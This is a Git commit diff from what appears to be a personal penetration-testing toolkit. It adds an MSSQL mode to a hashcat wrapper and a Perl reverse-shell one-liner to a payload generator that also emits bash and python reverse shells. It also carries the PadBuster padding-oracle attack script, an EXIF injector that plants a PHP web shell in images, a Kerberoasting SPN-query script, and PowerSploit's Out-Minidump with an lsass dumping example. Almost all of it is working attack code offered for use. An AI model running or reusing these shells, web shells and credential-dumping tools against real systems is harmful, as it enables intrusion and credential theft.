Windows Binaries + MSSQL hash type

This commit is contained in:
Roman committed 2020-11-07 12:54:18 +01:00
1 parent 2338077bd6
commit 95f3cad742
13 files changed
+389 -117

No files matched your search

+5 -1
View File
@@ -63,6 +63,7 @@ class HashType(enum.Enum):
# Windows
LM = 3000
NTLM = 1000
MSSQL = 1731
# Kerberos
KERBEROS_AS_REQ = 7500
@@ -163,6 +164,9 @@ class Hash:
self.type.append(HashType.RAW_SHA2_512)
self.type.append(HashType.RAW_SHA3_512)
self.type.append(HashType.RAW_KECCAK_256)
elif hash_len == 140:
if not self.isSalted:
seld.type.append(HashType.MSSQL)
if len(self.type) == 0:
print("%s: Unknown hash" % self.hash)
@@ -216,6 +220,6 @@ if len(uncracked_hashes) > 0:
fp.write(b"%s\n" % hash.hash.encode("UTF-8"))
fp.flush()
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist, "--force"])
proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist])
proc.wait()
fp.close()
+2 -1
View File
@@ -10,7 +10,8 @@ def generatePayload(type, local_address, port):
if type == "bash":
return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
elif type == "perl":
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port)
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n" \
"perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" % (local_address, port, local_address, port)
elif type == "python" or type == "python2" or type == "python3":
binary = type
return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
+112 -112
View File
@@ -6,9 +6,9 @@
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
# to James M. Martin (research@esptl.com) for sharing proof of concept exploit
# code for performing various brute force attack techniques, and wireghoul (Eldar
# Marcussen) for making code quality improvements.
#
# code for performing various brute force attack techniques, and wireghoul (Eldar
# Marcussen) for making code quality improvements.
#
use LWP::UserAgent;
use strict;
@@ -69,15 +69,15 @@ GetOptions( "log" => \$logFiles,
"ignorecontent" => \$ignoreContent,
"usebody" => \$useBody,
"verbose" => \$verbose);
print "\n+-------------------------------------------+\n";
print "| PadBuster - v0.3.3 |\n";
print "| Brian Holyfield - Gotham Digital Science |\n";
print "| labs\@gdssecurity.com |\n";
print "+-------------------------------------------+\n";
if ($#ARGV < 2) {
die "
if ($#ARGV < 2) {
die "
Use: padBuster.pl URL EncryptedSample BlockSize [options]
Where: URL = The target URL (and query string if applicable)
@@ -86,8 +86,8 @@ if ($#ARGV < 2) {
BlockSize = The block size being used by the algorithm
Options:
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
-encoding [0-4]: Encoding Format of Sample (Default 0)
@@ -100,17 +100,17 @@ Options:
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
-log: Generate log files (creates folder PadBuster.DDMMYY)
-noencode: Do not URL-encode the payload (encoded by default)
-noiv: Sample does not include IV (decrypt first block)
-noiv: Sample does not include IV (decrypt first block)
-plaintext [String]: Plain-Text to Encrypt
-post [Post Data]: HTTP Post Data String
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-proxy [address:port]: Use HTTP/S Proxy
-proxyauth [username:password]: Proxy Authentication
-resume [Block Number]: Resume at this block number
-usebody: Use response body content for response analysis phase
-verbose: Be Verbose
-veryverbose: Be Very Verbose (Debug Only)
";}
# Ok, if we've made it this far we are ready to begin..
@@ -143,11 +143,11 @@ my $dirExists = 0;
my $printStats = 0;
my $requestTracker = 0;
my $timeTracker = 0;
if ($encoding < 0 || $encoding > 4) {
print "\nERROR: Encoding must be a value between 0 and 4\n";
exit();
}
}
my $encodingFormat = $encoding ? $encoding : 0;
my $encryptedBytes = $sample;
@@ -210,7 +210,7 @@ if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
&myPrint("\nINFO: The original request returned the following",0);
&myPrint("[+] Status: $status",0);
&myPrint("[+] Status: $status",0);
&myPrint("[+] Location: $location",0);
&myPrint("[+] Content Length: $contentLength\n",0);
&myPrint("[+] Response: $content\n",1);
@@ -220,12 +220,12 @@ $plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedP
if ($bruteForce) {
&myPrint("INFO: Starting PadBuster Brute Force Mode",0);
my $bfAttempts = 0;
print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
# Only loop through the first 3 bytes...this should be enough as it
# Only loop through the first 3 bytes...this should be enough as it
# requires 16.5M+ requests
my @bfSamples;
my $sampleString = "\x00" x 2;
for my $c (0 ... 255) {
@@ -241,20 +241,20 @@ if ($bruteForce) {
while ($complete == 0) {
my $repeat = 0;
for my $b (0 ... 255) {
$bfAttempts++;
$bfAttempts++;
if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
#SKIP
} else {
my $testBytes = chr($b).$testVal;
$testBytes .= "\x00" x ($blockSize-3);
my $combinedBf = $testBytes;
my $combinedBf = $testBytes;
$combinedBf .= $encryptedBytes;
$combinedBf = &myEncode($combinedBf, $encoding);
# Add the Query String to the URL
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
# Issue the request
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
@@ -283,64 +283,64 @@ if ($bruteForce) {
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
}
}
}
} elsif ($plainTextInput) {
# ENCRYPT MODE
&myPrint("INFO: Starting PadBuster Encrypt Mode",0);
# The block count will be the plaintext divided by blocksize (rounded up)
# The block count will be the plaintext divided by blocksize (rounded up)
my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
&myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
$plainTextInput.= chr($padCount) x $padCount;
# SampleBytes is the encrypted text you want to derive intermediate values for, so
# SampleBytes is the encrypted text you want to derive intermediate values for, so
# copy the current ciphertext block into sampleBytes
# Note, nulls are used if not provided and the intermediate values are brute forced
$forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
my $sampleBytes = $forgedBytes;
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
my $intermediaryBytes;
if ($intermediaryInput && $blockNum == $blockCount) {
$intermediaryBytes = &myDecode($intermediaryInput,2);
} else {
$intermediaryBytes = &processBlock($sampleBytes);
}
# Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
# This will become the next ciphertext block (or IV if the last one)
$sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
$forgedBytes = $sampleBytes.$forgedBytes;
&myPrint("\nBlock ".($blockNum)." Results:",0);
&myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
&myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
}
$forgedBytes = &myEncode($forgedBytes, $encoding);
chomp($forgedBytes);
} else {
# DECRYPT MODE
&myPrint("INFO: Starting PadBuster Decrypt Mode",0);
if ($resumeBlock) {
&myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
} else {
$resumeBlock = 1
}
# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
# Since the IV is the first block, our block count is artificially inflated by one
&myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
# SampleBytes is the encrypted text you want to break, so
# SampleBytes is the encrypted text you want to break, so
# lets copy the current ciphertext block into sampleBytes
my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
@@ -348,7 +348,7 @@ if ($bruteForce) {
my $intermediaryBytes = &processBlock($sampleBytes);
# DecryptedBytes is where the decrypted block is stored
my $decryptedBytes;
my $decryptedBytes;
# Now we XOR the decrypted byte with the corresponding byte from the previous block
# (or IV if we are in the first block) to get the actual plain-text
@@ -362,23 +362,23 @@ if ($bruteForce) {
}
}
&myPrint("-------------------------------------------------------",0);
&myPrint("-------------------------------------------------------",0);
&myPrint("** Finished ***\n", 0);
if ($plainTextInput) {
&myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
} else {
} else {
&myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
&myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
&myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
}
&myPrint("-------------------------------------------------------\n",0);
&myPrint("-------------------------------------------------------\n",0);
sub determineSignature {
sub determineSignature {
# Help the user detect the oracle response if an error string was not provided
# This logic will automatically suggest the response pattern that occured most often
# This logic will automatically suggest the response pattern that occured most often
# during the test as this is the most likeley one
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
&myPrint("The following response signatures were returned:\n",0);
&myPrint("-------------------------------------------------------",0);
@@ -402,7 +402,7 @@ sub determineSignature {
&writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
$id++;
}
&myPrint("-------------------------------------------------------",0);
&myPrint("-------------------------------------------------------",0);
if ($#sortedGuesses == 0 && !$bruteForce) {
&myPrint("\nERROR: All of the responses were identical.\n",0);
@@ -418,16 +418,16 @@ sub determineSignature {
sub prepRequest {
my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
# Prepare the request
# Prepare the request
my $testUrl = $pUrl;
my $wasSampleFound = 0;
if ($pUrl =~ /$pSample/) {
$testUrl =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}
my $testPost = "";
my $testPost = "";
if ($pPost) {
$testPost = $pPost;
if ($pPost =~ /$pSample/) {
@@ -453,34 +453,34 @@ sub prepRequest {
}
sub processBlock {
my ($sampleBytes) = @_;
my ($sampleBytes) = @_;
my $analysisMode;
# Analysis mode is either 0 (response analysis) or 1 (exploit)
# Analysis mode is either 0 (response analysis) or 1 (exploit)
$analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
# The return value of this subroutine is the intermediate text for the block
my $returnValue;
my $complete = 0;
my $autoRetry = 0;
my $hasHit = 0;
while ($complete == 0) {
# Reset the return value
$returnValue = "";
my $repeat = 0;
# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
my $testBytes = "\x00" x $blockSize;
my $falsePositiveDetector = 0;
# Work on one byte at a time, starting with the last byte and moving backwards
OUTERLOOP:
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
INNERLOOP:
for (my $i = 255; $i >= 0; $i--) {
for (my $i = 255; $i >= 0; $i--) {
# Fuzz the test byte
substr($testBytes, $byteNum, 1, chr($i));
@@ -488,14 +488,14 @@ sub processBlock {
my $combinedTestBytes = $testBytes.$sampleBytes;
if ($prefix) {
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
$combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
}
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
$combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
chomp($combinedTestBytes);
if (! $noEncodeOption) {
$combinedTestBytes = &uri_escape($combinedTestBytes);
$combinedTestBytes = &uri_escape($combinedTestBytes);
}
my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
@@ -504,18 +504,18 @@ sub processBlock {
my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
my $signatureData = "$status\t$contentLength\t$location";
$signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
# If this is the first block and there is no padding error message defined, then cycle through
# If this is the first block and there is no padding error message defined, then cycle through
# all possible requests and let the user decide what the padding error behavior is.
if ($analysisMode == 0) {
&myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($byteNum == $blockSize - 1 && $i == 0) {
&myPrint("*** Response Analysis Complete ***\n",0);
&determineSignature();
@@ -535,7 +535,7 @@ sub processBlock {
# If there was no padding error, then it worked
&myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
&myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
# If continually getting a hit on attempt zero, then something is probably wrong
$falsePositiveDetector++ if ($i == 255);
@@ -560,20 +560,20 @@ sub processBlock {
$returnValue = $decryptedByte.$returnValue;
&myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
# Finally, update the test bytes in preparation for the next round, based on the padding used
# Finally, update the test bytes in preparation for the next round, based on the padding used
for (my $k = $byteNum; $k < $blockSize; $k++) {
# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
# Then, XOR it again with the padding byte for the next round
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
}
last INNERLOOP;
last INNERLOOP;
}
}
}
## TODO: Combine these two blocks?
if ($i == 0 && $analysisMode == 1) {
# End of the road with no success. We should probably try again.
@@ -584,12 +584,12 @@ sub processBlock {
&myPrint(" Automatically trying one more time...",0);
$repeat = 1;
last OUTERLOOP;
} else {
if (($byteNum == $blockSize - 1) && ($error)) {
&myPrint("\nAre you sure you specified the correct error string?",0);
&myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
}
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue ne "n") {
@@ -597,9 +597,9 @@ sub processBlock {
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
}
}
if ($falsePositiveDetector == $blockSize) {
&myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
&myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
@@ -618,7 +618,7 @@ sub processBlock {
last OUTERLOOP;
}
}
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
@@ -626,9 +626,9 @@ sub processBlock {
}
sub makeRequest {
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
my $numRetries = 0;
$data ='' unless $data;
$cookie='' unless $cookie;
@@ -637,23 +637,24 @@ sub makeRequest {
do {
#Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
$ENV{HTTPS_PROXY} = "";
$ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);
$req = new HTTP::Request $method => $url;
&myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
# Add request content for POST and PUTS
# Add request content for POST and PUTS
if ($data) {
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
}
if ($proxy) {
my $proxyUrl = "http://";
if ($proxyAuth) {
@@ -665,7 +666,7 @@ sub makeRequest {
$proxyUrl .= $proxy;
$lwp->proxy(['http'], "http://".$proxy);
$ENV{HTTPS_PROXY} = "http://".$proxy;
}
}
if ($auth) {
@@ -677,7 +678,7 @@ sub makeRequest {
if (! $cookie eq "") {
$req->header(Cookie => $cookie);
}
if ($headers) {
my @customHeaders = split(/;/i,$headers);
for (my $i = 0; $i <= $#customHeaders; $i++) {
@@ -685,22 +686,22 @@ sub makeRequest {
$req->header($headerName, $headerVal);
}
}
my $startTime = &gettimeofday();
my $response = $lwp->request($req);
my $endTime = &gettimeofday();
my $endTime = &gettimeofday();
$timeTracker = $timeTracker + ($endTime - $startTime);
if ($printStats == 1 && $requestTracker % 250 == 0) {
print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
$timeTracker = 0;
}
# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;
&myPrint("Response Content:\n$content",0) if $superVerbose;
$location = $response->header("Location");
if (!$location) {
@@ -708,8 +709,8 @@ sub makeRequest {
}
#$contentLength = $response->header("Content-Length");
$contentLength = length($content);
my $contentEncoding = $response->header("Content-Encoding");
if ($contentEncoding) {
if ($contentEncoding =~ /GZIP/i ) {
@@ -717,10 +718,10 @@ sub makeRequest {
$contentLength = length($content);
}
}
my $statusMsg = $response->status_line;
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
if ($statusMsg =~ /Can't connect/) {
print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
$noConnect = 1;
@@ -729,7 +730,7 @@ sub makeRequest {
} else {
$noConnect = 0;
$totalRequests++;
}
}
} until (($noConnect == 0) || ($numRetries >= 15));
if ($numRetries >= 15) {
&myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
@@ -737,7 +738,7 @@ sub makeRequest {
}
return ($status, $content, $location, $contentLength);
}
sub myPrint {
my ($printData, $printLevel) = @_;
$printData .= "\n";
@@ -783,24 +784,24 @@ sub encodeDecode {
$returnVal = &web64Decode($toEncodeDecode,1);
} else {
$returnVal = &web64Encode($toEncodeDecode,1);
}
}
} elsif ($format == 4) {
# Web64
if ($oper == 1) {
$returnVal = &web64Decode($toEncodeDecode,0);
} else {
$returnVal = &web64Encode($toEncodeDecode,0);
}
}
} else {
# B64
if ($oper == 1) {
$returnVal = &decode_base64($toEncodeDecode);
} else {
$returnVal = &encode_base64($toEncodeDecode);
$returnVal =~ s/(\r|\n)//g;
$returnVal =~ s/(\r|\n)//g;
}
}
return $returnVal;
}
@@ -836,7 +837,7 @@ sub promptUser {
my $defaultValue = $default ? "[$default]" : "";
print "$prompt $defaultValue: ";
chomp(my $input = <STDIN>);
$input = $input ? $input : $default;
if ($yn) {
if ($input =~ /^y|n|a$/) {
@@ -867,7 +868,7 @@ sub writeFile {
}
}
sub getTime {
sub getTime {
my ($format) = @_;
my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
@@ -886,4 +887,3 @@ sub getTime {
return $hour.":".$minute.":".$second;
}
}
BIN
View File
Binary file not shown.
+11 -3
View File
@@ -118,20 +118,28 @@ def exifImage(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_t
print("Invalid input. Either give an Image or a path to an image.")
return
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
if exif_tag is None:
exif_tag = "image_description"
elif exif_tag == "all":
for exif_tag in valid_tags:
try:
_in[exif_tag] = payload
print("adding:", exif_tag)
except Exception as e:
pass
else:
valid_tags = dir(_in)
if exif_tag not in valid_tags:
print("Invalid exif-tag. Choose one of the following:")
print(", ".join(valid_tags))
return
_in[exif_tag] = payload
_in[exif_tag] = payload
if _out is None:
sys.stdout.write(_in.get_file())
sys.stdout.flush()
elif isinstance(_out, str):
with open(_out, "wb") as f:
f.write(_in.get_file())
+129
View File
@@ -0,0 +1,129 @@
# Edits by Tim Medin
# File: GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
# The password hash used with Computer accounts are infeasible to
# crack; however, if the User account associated with an SPN may have
# a crackable password. This tool will find those accounts. You do not
# need any special local or domain permissions to run this script.
# This script on a script supplied by Microsoft (details below).
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
# 2014/11/12 Tim Medin Created
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
[Parameter(Mandatory=$False)] [string]$Filter,
[Parameter(Mandatory=$False)] [switch]$Request,
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)
Add-Type -AssemblyName System.IdentityModel
$GCs = @()
If ($GCName) {
$GCs += $GCName
} else { # find them
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
ForEach ($GC in $CurrentGCs) {
#$GCs += $GC.Name
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
}
}
if (-not $GCs) {
# no Global Catalogs Found
Write-Host "No Global Catalogs Found!"
Exit
}
<#
Things you can extract
Name Value
---- -----
admincount {1}
samaccountname {sqlengine}
useraccountcontrol {66048}
primarygroupid {513}
userprincipalname {sqlengine@medin.local}
instancetype {4}
displayname {sqlengine}
pwdlastset {130410454241766739}
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype {805306368}
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged {135252}
lastlogon {130563243107145358}
accountexpires {9223372036854775807}
logoncount {34}
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount {0}
codepage {0}
name {sqlengine}
whenchanged {9/22/2014 6:45:21 AM}
badpasswordtime {0}
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp {130558419213902030}
lastlogoff {0}
objectclass {top, person, organizationalPerson, user}
countrycode {0}
cn {sqlengine}
whencreated {4/4/2014 12:37:04 AM}
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated {57551}
#>
ForEach ($GC in $GCs) {
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://" + $GC
$searcher.PageSize = 1000
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
$searcher.SearchScope = "Subtree"
$results = $searcher.FindAll()
[System.Collections.ArrayList]$accounts = @()
foreach ($result in $results) {
foreach ($spn in $result.Properties["serviceprincipalname"]) {
$o = Select-Object -InputObject $result -Property `
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
if ($UniqueAccounts) {
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
} else {
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
}
}
}
+130
View File
@@ -0,0 +1,130 @@
function Out-Minidump
{
<#
.SYNOPSIS
Generates a full-memory minidump of a process.
PowerSploit Function: Out-Minidump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-Minidump writes a process dump file with all process memory to disk.
This is similar to running procdump.exe with the '-ma' switch.
.PARAMETER Process
Specifies the process for which a dump will be generated. The process object
is obtained with Get-Process.
.PARAMETER DumpFilePath
Specifies the path where dump files will be written. By default, dump files
are written to the current working directory. Dump file names take following
form: processname_id.dmp
.EXAMPLE
Out-Minidump -Process (Get-Process -Id 4293)
Description
-----------
Generate a minidump for process ID 4293.
.EXAMPLE
Get-Process lsass | Out-Minidump
Description
-----------
Generate a minidump for the lsass process. Note: To dump lsass, you must be
running from an elevated prompt.
.EXAMPLE
Get-Process | Out-Minidump -DumpFilePath C:\temp
Description
-----------
Generate a minidump of all running processes and save them to C:\temp.
.INPUTS
System.Diagnostics.Process
You can pipe a process object to Out-Minidump.
.OUTPUTS
System.IO.FileInfo
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[System.Diagnostics.Process]
$Process,
[Parameter(Position = 1)]
[ValidateScript({ Test-Path $_ })]
[String]
$DumpFilePath = $PWD
)
BEGIN
{
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWithFullMemory = [UInt32] 2
}
PROCESS
{
$ProcessId = $Process.Id
$ProcessName = $Process.Name
$ProcessHandle = $Process.Handle
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
$ProcessId,
$FileStream.SafeFileHandle,
$MiniDumpWithFullMemory,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero))
$FileStream.Close()
if (-not $Result)
{
$Exception = New-Object ComponentModel.Win32Exception
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
# Remove any partially written dump files. For example, a partial dump will be written
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
throw $ExceptionMessage
}
else
{
Get-ChildItem $ProcessDumpPath
}
}
END {}
}
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.